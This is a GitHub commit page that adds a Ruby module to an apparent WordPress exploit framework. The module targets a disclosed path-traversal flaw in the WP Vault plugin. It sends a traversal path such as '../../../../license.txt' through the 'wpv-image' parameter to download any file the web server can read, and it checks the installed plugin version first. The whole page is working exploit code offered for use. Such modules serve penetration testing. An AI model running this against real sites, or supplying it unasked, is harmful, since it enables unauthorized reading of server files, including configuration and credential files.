Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 85a14a8

Browse files
committed
Add WP Vault File Download module
1 parent 35e60fc commit 85a14a8

File tree

1 file changed

+44
-0
lines changed

1 file changed

+44
-0
lines changed
Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
class Wpxf::Auxiliary::WpVaultFileDownload < Wpxf::Module
2+
include Wpxf::WordPress::FileDownload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'WP Vault File Download',
9+
desc: %(
10+
This module exploits a vulnerability which allows you to download any file
11+
accessible by the user the web server is running as, with the exception of
12+
PHP files.
13+
),
14+
author: [
15+
'Lenon Leite', # Disclosure
16+
'Rob Carr <rob[at]rastating.com>' # WPXF module
17+
],
18+
references: [
19+
['WPVDB', '8684']
20+
],
21+
date: 'Nov 30 2016'
22+
)
23+
end
24+
25+
def check
26+
check_plugin_version_from_readme('wp-vault')
27+
end
28+
29+
def default_remote_file_path
30+
'../../../../license.txt'
31+
end
32+
33+
def working_directory
34+
'wp-content/plugins/wp-vault/images/'
35+
end
36+
37+
def downloader_url
38+
full_uri
39+
end
40+
41+
def download_request_params
42+
{ 'wpv-image' => remote_file }
43+
end
44+
end

0 commit comments

Comments
 (0)